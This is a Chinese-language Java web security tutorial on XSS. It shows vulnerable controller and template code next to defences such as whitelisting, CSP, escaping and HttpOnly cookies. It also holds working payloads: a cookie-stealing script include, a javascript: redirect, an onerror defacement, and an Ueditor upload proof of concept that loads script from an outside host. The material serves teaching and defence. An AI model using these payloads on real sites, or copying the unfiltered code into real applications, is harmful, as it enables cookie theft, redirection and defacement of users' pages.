当前位置: 首页 > article >正文

JavaSec-XSS

反射型XSS

简介

XSS(跨站脚本攻击)利用浏览器对服务器内容的信任,攻击者通过在网页中注入恶意脚本,使这些脚本在用户的浏览器上执行,从而实现攻击。常见的XSS攻击危害包括窃取用户会话信息、篡改网页内容、将用户重定向到恶意网站,以及执行恶意操作(如点击劫持和钓鱼攻击)反射型XSS:攻击者通过在URL参数中注入恶意脚本,使服务器将该脚本直接反射回用户浏览器并执行。该攻击一般不涉及数据库,而是通过服务器处理用户请求时立即返回恶意内容

1.GET型

1.探测漏洞标签(用来测试是否存在漏洞)

123<u>A</u>123

1.恶意流量劫持

重定向恶意网站-SEO引流<a href=javascript:window.location.href='http://bilibili.com'>Click Me</a>

其中里面的http://bilibili.com可以替换成实际要攻击的网站

我们点击,发现跳转到b站了

2.窃取用户信息

<a href='/other/cookie.txt' target='_blank'>点击查看</a><script src='/static/js/hackcookie.js'></script>

点击进行查看

发现存在用户ip和cookie等敏感信息

3.篡改网页内容

修改背景颜色为红色<img src οnerrοr=javascript:document.getElementsByClassName('layuimini-container')[0].style.backgroundColor='red'>

POST型同上

2.String型

发现直接弹出页面

缺陷代码

// 原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果
public R vul1(String content) {return R.ok(content);
}
// R 是对返回结果的封装工具util
// 返回结果:
// {
//     "msg": "<script>alert(document.cookie)</script>",
//     "code": 0
// }
// payload在json中是不会触发xss的 需要解析到页面中// 原生漏洞场景,未加任何过滤,Controller接口返回String类型结果
public String vul2(String content) {return content;
}

3.Content-Type问题

1.textplain: 浏览器在获取到这种文件时并不会对其进行处理,将文件设置为纯文本的形式

2.texthtml:浏览器在获取到这种文件时会自动调用html的解析器对文件进行相应的处理

缺陷代码

// Tomcat内置HttpServletResponse,Content-Type导致反射XSS
public void vul3(String type,String content, HttpServletResponse response) {switch (type) {case "html":response.getWriter().print(content);response.setContentType("text/html;charset=utf-8");response.getWriter().flush();break;case "plain":response.getWriter().print(content);response.setContentType("text/plain;charset=utf-8");response.getWriter().flush();...}
}

4.安全场景

1.用户输入验证和过滤

前端白名单:在前端代码中执行,用于过滤或验证用户输入的数据,UI友好,不安全,容易被绕过
后端白名单:后端业务逻辑处理或数据支持化层面执行,更安全,不易绕过

安全代码

// 对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据
// 前端校验代码
var whitelistRegex = /^[a-zA-Z0-9_\s]+$/;// 检查输入值是否符合白名单要求
if (!whitelistRegex.test(value)) {layer.msg('输入内容包含非法字符,请检查输入', {icon: 2, offset: '10px'});return false; // 取消表单提交} else {// 正常发送请求}// 后端校验代码
private static final String WHITELIST_REGEX = "^[a-zA-Z0-9_\\s]+$";
private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX);Matcher matcher = pattern.matcher(content);
if (matcher.matches()){return R.ok(content);
}else return R.error("输入内容包含非法字符,请检查输入");

2.内容安全策略-CSP防护

内容安全策略(CSP:Content Security Policy)是一种由浏览器实施的安全机制(可理解为额外的安全层),旨在减少和防范跨站脚本攻击等安全威胁核心原理:网站通过发送一个CSP header头部(也可以在html直接设置),告诉浏览器具体的策略(什么是授权的与什么是被禁止的),从而防止恶意内容的加载和执行CSP 指令说明:default-src: 指定默认的加载内容的来源,如果未指定其他指令,则默认应用此指令script-src: 指定允许加载 JavaScript 的来源style-src: 指定允许加载样式表的来源img-src: 指定允许加载图片的来源connect-src: 指定允许向其发送请求的来源(例如 AJAX、WebSocket 连接等)

安全代码

// 内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行
// 前端Meta配置
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://apis.example.com; style-src 'self' https://fonts.googleapis.com; img-src 'self' data: https://*.example.com;">// 后端Header配置
public String safe2(String content,HttpServletResponse response) {response.setHeader("Content-Security-Policy","default-src self");return content;
}

3.特殊字符实体转义

实体编码(Entity Encoding)是一种将特殊字符转换为HTML实体的过程,以确保这些字符能够在HTML文档中正确显示而不会被解释为HTML标记。
常见的实体编码包括将 < 转换为 &lt; 将 > 转换为 &gt; 等。
PS:这里前端实体编码Demo放到了存储型XSS模块中

安全代码

// 特殊字符实体转义是一种将HTML中的特殊字符转换为预定义实体表示的过程
// 这种转义是为了确保在HTML页面中正确显示特定字符,同时避免它们被浏览器误解为HTML标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞
public R safe3(@ApiParam(String type, String content) {String filterContented = "";switch (type){case "manual":content = StringUtils.replace(content, "&", "&amp;");content = StringUtils.replace(content, "<", "&lt;");content = StringUtils.replace(content, ">", "&gt;");content = StringUtils.replace(content, "\"", "&quot;");content = StringUtils.replace(content, "'", "&#x27;");content = StringUtils.replace(content, "/", "&#x2F;");filterContented = content;break;case "spring":filterContented = HtmlUtils.htmlEscape(content);break;...}
}

4.HttpOnly配置

单个接口配置:并非所有的cookie都必须设置为HttpOnly,可能有一些cookie是需要客户端JavaScript访问的,例如用于前端操作或分析目的的cookie全局配置场景:在整个应用程序中所有的cookie都具有HttpOnly属性,可以考虑在全局配置中进行设置
使用HttpOnly并不是绝对安全的,以下三个场景还是会存在安全问题:1、当攻击者使用CSRF+XSS进行攻击时,可绕过绕过浏览器的安全限制2、中间人攻击3、恶意浏览器插件

安全代码

// HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险
// 单个接口配置
public R safe4(String content, HttpServletRequest request,HttpServletResponse response) {Cookie cookie = request.getCookies()[ueditor];cookie.setHttpOnly(true); // 设置为 HttpOnlycookie.setMaxAge(600);  // 这里设置生效时间为十分钟cookie.setPath("/");response.addCookie(cookie);return R.ok(content);
}// 全局配置
// ueditor、application.yml配置
server:servlet:session:cookie:http-only: true// 2、Springboot配置类
@Configuration
public class ServerConfig {@Beanpublic WebServerFactoryCustomizer<ConfigurableWebServerFactory> webServerFactoryCustomizer() {return factory -> {Session session = new Session();session.getCookie().setHttpOnly(true);factory.setSession(session);...
}

存储型XSS

简介

存储型XSS:攻击者将恶意脚本上传到目标网站的数据库,用户访问网站时执行这些恶意脚本,达到攻击目的。该攻击经过服务器和数据库

1.漏洞场景:原生无过滤

漏洞场景:用户交互的地方:get、post、headers、反馈与浏览、富文本编辑器、标签插入和自定义数据输出的地方:用户资料、关键词、评论、留言、关键词、标签、说明、文件上传

缺陷代码

/ 原生漏洞场景,未加任何过滤,将用户输入存储到数据库中
// Controller层
public R vul(String content,HttpServletRequest request) {String ua = request.getHeader("User-Agent");final int code = xssService.insertOne(content,ua);...
}
// Service层
public int insertOne(String content, String ua) {final int code = xssMapper.insertAll(content,ua,DateUtil.now());return code;
}
// Mapper层
int insertAll(String content,String ua,String date);<insert id="insertAll">insert into xss(content,ua, date)values (#{content,jdbcType=VARCHAR},#{ua,jdbcType=VARCHAR}, #{date,jdbcType=VARCHAR})
</insert>

2.安全场景:前端实体转义

前端实体转义就是将可能是包含HTML标签的内容,先中转存储为纯文本,当浏览器进行渲染时,会将纯文本内容中特殊字符进行实体转义(浏览器策略),确保可以正确展示

// 表格数据渲染
table.render({...cols: [{field: 'id', title: 'ID', sort: true, width: '60', fixed: 'left'},{field: 'content', title: 'Content', width: '200', templet: function(d){return escapeHtml(d.content); }},{field: 'ua', title: 'User-Agent', width: '200', templet: function(d){return escapeHtml(d.ua); }},...
// 方法一、HTML 实体转义函数
function escapeHtml(html) {var text = document.createElement("textarea");text.textContent = html;return text.innerHTML;
}
// 方法二、JavaScript的文本节点
var textNode = document.createTextNode(htmlContent);
element.appendChild(textNode);
// 方法三、jQuery的text()方法
$('#element').text(htmlContent);

DOM型XSS

1.简介

DOM(Document Object Model)即文档对象模型,是HTML和XML文档的编程接口 DOM型XSS:攻击者利用客户端的DOM环境,通过操纵页面的DOM元素来注入和执行恶意脚本。该攻击不经过服务器和数据库

一些可能导致DOM XSS的SINK点:document.write()document.writeln()document.domainelement.innerHTMLelement.outerHTMLelement.insertAdjacentHTMLelement.onevent
PS:除此之外,还有URL参数注入、DOM属性注入、document.write、eval等场景,后续会进行补充

其他类型

简介

包含模版引擎解析问题、文件上传特殊文件类型、第三方依赖问题(供应链安全)...

1.漏洞场景:模版引擎解析问题

th:text用于展示纯文本,会对特殊字符进行转义
th:utext则不进行转义,直接展示原始HTML内容
当获取后端传来的参数中带有HTML标签时,th:text不会解析这些标签,而th:utext 会解析并渲染它们。这类似于Vue中的v-text和v-html

缺陷代码

public String handleTemplateInjection(String content,String type, Model model) {if ("html".equals(type)) {model.addAttribute("html", content);} else if ("text".equals(type)) {model.addAttribute("text", content);}return "vul/xss/other";
}<div class="layui-card-body layui-text layadmin-text" style="color: red;font-size: 15px;"><p th:utext="${html}"></p><p th:text="${text}"></p>
</div>

2.漏洞场景:文件上传导致存储XSS

除了文件上传导致存储XSS,xml场景下还需要后端进行xml解析
这里PDF型XSS实际是没有危害的,考虑到合规监管问题,还是放上去了
PS:除此之外,还有flash等漏洞场景,后续会补充

缺陷代码

public String uploadFile(MultipartFile file, String suffix,String path) throws IOException {String uploadFolderPath = sysConstant.getUploadFolder();try {String fileName = +DateUtil.current() + "."+suffix;String newFilePath = uploadFolderPath + "/" + fileName;file.transferTo(new File(newFilePath)); // 将文件保存到指定路径log.info("上传文件成功,文件路径:" + newFilePath);return "上传文件成功,文件路径:" + path + fileName;} catch (IOException e) {e.printStackTrace(); // 打印异常堆栈信息log.info("文件上传失败" + e.getMessage());return "文件上传失败" + e.getMessage();}
}

3.漏洞场景:第三方组件导致XSS-供应链安全

为什么要单独抽出来呢?这里的XSS场景可以看出是由第三方组件导致的,也就引出了所谓的供应链安全(当然不止这些)
风险识别与修复方案?一般企业在DevOps流水线中会嵌入相关安全扫描环境(SCA、SAST、IAST……)进行应用安全扫描针对供应链安全,可使用专门的SCA工具进行软件成分扫描,升级到修复版本或采用非升级修复方案

1.jQuery

在版本[1.2,3.5.0)范围内存在多个XSS漏洞 eg:

CVE-2020-11022

CVE-2020-11023

2.Swagger-ui

在版本内[3.14.1,3.38.0)范围内存在XSS漏洞

3.Ueditor编辑器

poc

拼接路径/ueditor/php/controller.php?action=uploadfileContent-Disposition: form-data; name="upfile"; filename="1.xml"
Content-Type: image/png
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml" src="https://xcjh.ahredcross.org.cn/ueditor/upload/image/20240723/6385736220575785005385782.js">
</something:script>
</body>
</html>或者Content-Type: multipart/form-data; boundary=----WebKitFormBoundary209pDxz5IJ3h3EeJ
> Content-Length: 348
>
> ------WebKitFormBoundary209pDxz5IJ3h3EeJ
> Content-Disposition: form-data; name="upfile"; filename="1.xml"
> Content-Type: image/png
>
> <html>
> <head></head>
> <body>
> <something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
> </something:script>
> </body>
> </html>
> ------WebKitFormBoundary209pDxz5IJ3h3EeJ--
> -----------------------

缺陷代码

// jQuery依赖
<head><meta charset="utf-8"><title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title><!-- 测试JQuery --><script src="/lib/jquery-1.6.1.js"></script><!-- <script src="./jquery.min.js"></script> -->
</head><!--swagger依赖-->
<dependency><groupId>io.springfox</groupId><artifactId>springfox-boot-starter</artifactId><version>3.0.0</version>	// 该版本存在xss
</dependency>// Ueditor编辑器未做任何限制 抓上传数据包后,可以上传任意类型文件

相关文章:

JavaSec-XSS

反射型XSS 简介 XSS(跨站脚本攻击)利用浏览器对服务器内容的信任&#xff0c;攻击者通过在网页中注入恶意脚本&#xff0c;使这些脚本在用户的浏览器上执行&#xff0c;从而实现攻击。常见的XSS攻击危害包括窃取用户会话信息、篡改网页内容、将用户重定向到恶意网站&#xff0c…...

AtCoder-abc408_b 解析

题目链接 让我们一步一步详细分析这个问题&#xff1a; 题目要求我们实现去重并排序的功能&#xff0c;这在C中可以直接使用set容器来实现。set是STL中的一个关联容器&#xff0c;具有以下特性&#xff1a; 自动去重&#xff1a;所有元素都是唯一的自动排序&#xff1a;默认…...

echarts在uniapp中使用安卓真机运行时无法显示的问题

文章目录 一、实现效果二、话不多说&#xff0c;上源码 前言&#xff1a;我们在uniapp中开发的时候&#xff0c;开发的时候很正常&#xff0c;echarts的图形在h5页面上也是很正常的&#xff0c;但是当我们打包成安卓app或者使用安卓真机运行的时候&#xff0c;图形根本就没有渲…...

STM32----IAP远程升级

一、概述&#xff1a; IAP&#xff0c;全称是“In-Application Programming”&#xff0c;中文解释为“在程序中编程”。IAP是一种对通过微控制器的对外接口&#xff08;如USART&#xff0c;IIC&#xff0c;CAN&#xff0c;USB&#xff0c;以太网接口甚至是无线射频通道&#…...

C++优选算法 904. 水果成篮

文章目录 1.题目描述2.算法思路 3.完整代码容器做法数组做法 1.题目描述 看到这种题目&#xff0c;总觉得自己在做阅读理解&#xff0c;晕了&#xff0c;题目要求我们在一个数组里分别找出两种数字&#xff0c;并统计这两种数字分别出现一共是多少。 2.算法思路 采用哈希表滑…...

Python6.5打卡(day37)

DAY 37 早停策略和模型权重的保存 知识点回顾&#xff1a; 过拟合的判断&#xff1a;测试集和训练集同步打印指标模型的保存和加载 仅保存权重保存权重和模型保存全部信息checkpoint&#xff0c;还包含训练状态 早停策略 作业&#xff1a;对信贷数据集训练后保存权重&#xf…...

大中型水闸安全监测管理系统建设方案

一、背景介绍 我国现已建成流量5m/s及以上的水闸共计100321座。其中&#xff0c;大型水闸923座&#xff0c;中型水闸6,697座。按功能类型划分&#xff0c;分洪闸8193座&#xff0c;排&#xff08;退&#xff09;水闸17808座&#xff0c;挡潮闸4955座&#xff0c;引水闸13796座&…...

Compose Multiplatform 实现自定义的系统托盘,解决托盘乱码问题

Compose Multiplatform是 JetBrains 开发的声明式 UI 框架&#xff0c;可让您为 Android、iOS、桌面和 Web 开发共享 UI。将 Compose Multiplatform 集成到您的 Kotlin Multiplatform 项目中&#xff0c;即可更快地交付您的应用和功能&#xff0c;而无需维护多个 UI 实现。 在…...

风控研发大数据学习路线

在如今信息爆炸时代&#xff0c;风控系统离不开大数据技术的支撑&#xff0c;大数据技术可以帮助风控系统跑的更快&#xff0c;算的更准。因此&#xff0c;风控技术研发需要掌握大数据相关技术。然而大数据技术栈内容庞大丰富&#xff0c;风控研发同学很可能会面临以下这些痛点…...

【设计模式】门面/外观模式

MySQL &#xff0c;MyTomcat 的启动 现在有 MySQL &#xff0c;MyTomcat 类&#xff0c;需要依次启动。 public class Application {public static void main(String[] args) {MySQL mySQL new MySQL();mySQL.initDate();mySQL.checkLog();mySQL.unlock();mySQL.listenPort(…...

spring的webclient与vertx的webclient的比较

Spring WebClient 和 Vert.x WebClient 都是基于响应式编程模型的非阻塞 HTTP 客户端&#xff0c;但在设计理念、生态整合和适用场景上存在显著差异。以下是两者的核心比较&#xff1a; &#x1f504; 1. 技术背景与架构 • Spring WebClient ◦ 生态定位&#xff1a;属于 Sp…...

贪心算法应用:埃及分数问题详解

贪心算法与埃及分数问题详解 埃及分数&#xff08;Egyptian Fractions&#xff09;问题是数论中的经典问题&#xff0c;要求将一个真分数表示为互不相同的单位分数之和。本文将用2万字全面解析贪心算法在埃及分数问题中的应用&#xff0c;涵盖数学原理、算法设计、Java实现、优…...

高效集成AI能力:使用开放API打造问答系统,不用训练模型,也能做出懂知识的AI

本文为分享体验感受&#xff0c;非广告。 一、蓝耘平台核心功能与优势 丰富的模型资源库 蓝耘平台提供涵盖自然语言处理、计算机视觉、多模态交互等领域的预训练模型&#xff0c;支持用户直接调用或微调&#xff0c;无需从零开始训练&#xff0c;显著缩短开发周期。 高性能…...

Qt 仪表盘源码分享

Qt 仪表盘源码分享 一、效果展示二、优点三、源码分享四、使用方法 一、效果展示 二、优点 直观性 数据以图表或数字形式展示&#xff0c;一目了然。用户可以快速获取关键信息&#xff0c;无需深入阅读大量文字。 实时性 仪表盘通常支持实时更新&#xff0c;确保数据的时效性。…...

Python数据可视化科技图表绘制系列教程(四)

目录 带基线的棒棒糖图1 带基线的棒棒糖图2 带标记的棒棒糖图 哑铃图1 哑铃图2 包点图1 包点图2 雷达图1 雷达图2 交互式雷达图 【声明】&#xff1a;未经版权人书面许可&#xff0c;任何单位或个人不得以任何形式复制、发行、出租、改编、汇编、传播、展示或利用本博…...

RPM 数据库修复

RPM 数据库修复 1、备份当前数据库&#xff08;重要&#xff01;&#xff09; sudo cp -a /var/lib/rpm /var/lib/rpm.backup此操作保护原始数据&#xff0c;防止修复失败导致数据丢失 2、清除损坏的锁文件 sudo rm -f /var/lib/rpm/__db.*这些锁文件&#xff08;如 __db.00…...

R语言基础知识总结(超详细整理)

一、R语言简介 R是一种用于统计分析、数据可视化和科学计算的开源编程语言和环境。其语法简洁&#xff0c;内置丰富的统计函数和图形函数&#xff0c;广泛应用于数据科学、机器学习和生物统计等领域。 整体知识点目录&#xff1a; R语言基础知识总结 │ ├─ 安装与配置 │ …...

深入理解系统:UML类图

UML类图 类图&#xff08;class diagram&#xff09; 描述系统中的对象类型&#xff0c;以及存在于它们之间的各种静态关系。 正向工程&#xff08;forward engineering&#xff09;在编写代码之前画UML图。 逆向工程&#xff08;reverse engineering&#xff09;从已有代码建…...

C# 中的 IRecipient

IRecipient<TMessage> 是 .NET 中消息传递机制的重要组成部分&#xff0c;特别是在 MVVM (Model-View-ViewModel) 模式中广泛使用。下面我将详细介绍这一机制及其应用。 基本概念 IRecipient<TMessage> 是 .NET Community Toolkit 和 MVVM Toolkit 中定义的一个接…...

大模型RNN

RNN&#xff08;循环神经网络&#xff09;是一种专门处理序列数据的神经网络架构&#xff0c;在自然语言处理&#xff08;NLP&#xff09;、语音识别、时间序列分析等领域有广泛应用。其核心作用是捕捉序列中的时序依赖关系&#xff0c;即当前输出不仅取决于当前输入&#xff0…...

Python环境搭建竞赛技术文章大纲

竞赛背景与意义 介绍Python在数据科学、机器学习等领域的重要性环境搭建对于竞赛项目效率的影响常见竞赛平台对Python环境的特殊要求 基础环境准备 操作系统选择与优化&#xff08;Windows/Linux/macOS&#xff09;Python版本选择&#xff08;3.x推荐版本&#xff09;解释器…...

Redisson - 实现延迟队列

Redisson 延迟队列 Redisson 是基于 Redis 的一款功能强大的 Java 客户端。它提供了诸如分布式锁、限流器、阻塞队列、延迟队列等高可用、高并发组件。 其中&#xff0c;RDelayedQueue 是对 Redis 数据结构的高阶封装&#xff0c;能让你将消息延迟一定时间后再进入消费队列。…...

软件工程的定义与发展历程

文章目录 一、软件工程的定义二、软件工程的发展历程1. 前软件工程时期(1940s-1960s)2. 软件工程诞生(1968)3. 结构化方法时期(1970s)4. 面向对象时期(1980s)5. 现代软件工程(1990s-至今) 三、软件工程的发展趋势 一、软件工程的定义 软件工程是应用系统化、规范化、可量化的方…...

艾利特协作机器人:重新定义工业涂胶场景的精度革命

品牌使命与技术基因 作为全球协作机器人领域成长最快的企业之一&#xff0c;艾利特始终聚焦于解决工业生产中的人机协作痛点。在汽车制造、3C电子、新能源等领域的涂胶工艺场景中&#xff0c;我们通过自主研发的EC系列协作机器人&#xff0c;实现了&#xff1a; 空间利用率&a…...

第十三节:第五部分:集合框架:集合嵌套

集合嵌套案例分析 代码&#xff1a; package com.itheima.day27_Collection_nesting;import java.util.*;/*目标:理解集合的嵌套。 江苏省 "南京市","扬州市","苏州市","无锡市","常州市" 湖北省 "武汉市","…...

Java设计模式之观察者模式详解

一、观察者模式简介 观察者模式&#xff08;Observer Pattern&#xff09;是一种行为型设计模式&#xff0c;它定义了对象之间的一对多依赖关系。当一个对象&#xff08;主题&#xff09;的状态发生改变时&#xff0c;所有依赖于它的对象&#xff08;观察者&#xff09;都会自…...

freeRTOS 消息队列之一个事件添加到消息队列超时怎么处理

一 消息队列的结构框图 xTasksWaitingToSend‌&#xff1a;这个列表存储了所有因为队列已满而等待发送消息的任务。当任务尝试向一个已满的队列发送消息时&#xff0c;该任务会被挂起并加入到xTasksWaitingToSend列表中&#xff0c;直到队列中有空间可用‌&#xff0c; xTasksW…...

十八、【用户认证篇】安全第一步:基于 JWT 的前后端分离认证方案

【用户认证篇】安全第一步:基于 JWT 的前后端分离认证方案 前言什么是 JWT (JSON Web Token)?准备工作第一部分:后端 Django 配置 JWT 认证1. 安装 `djangorestframework-simplejwt`2. 在 `settings.py` 中配置 `djangorestframework-simplejwt`3. 在项目的 `urls.py` 中添加…...

RabbitMQ 开机启动配置教程

RabbitMQ 开机启动配置教程 在本教程中&#xff0c;我们将详细介绍如何配置 RabbitMQ 以实现开机自动启动。此配置适用于手动安装的 RabbitMQ 版本。 环境准备 操作系统&#xff1a;CentOS 7RabbitMQ 版本&#xff1a;3.8.4Erlang 版本&#xff1a;21.3 步骤 1. 安装 Erla…...

Authpf(OpenBSD)认证防火墙到ssh连接到SSH端口转发技术栈 与渗透网络安全的关联 (RED Team Technique )

目录 &#x1f50d; 1. Authpf概述与Shell设置的作用 什么是Authpf&#xff1f; Shell设置为/usr/sbin/authpf的作用与含义 &#x1f6e0;️ 2. Authpf工作原理与防火墙绕过机制 技术栈 工作原理 防火墙绕过机制 Shell关联 &#x1f310; 3. Authpf与SSH认证及服务探测…...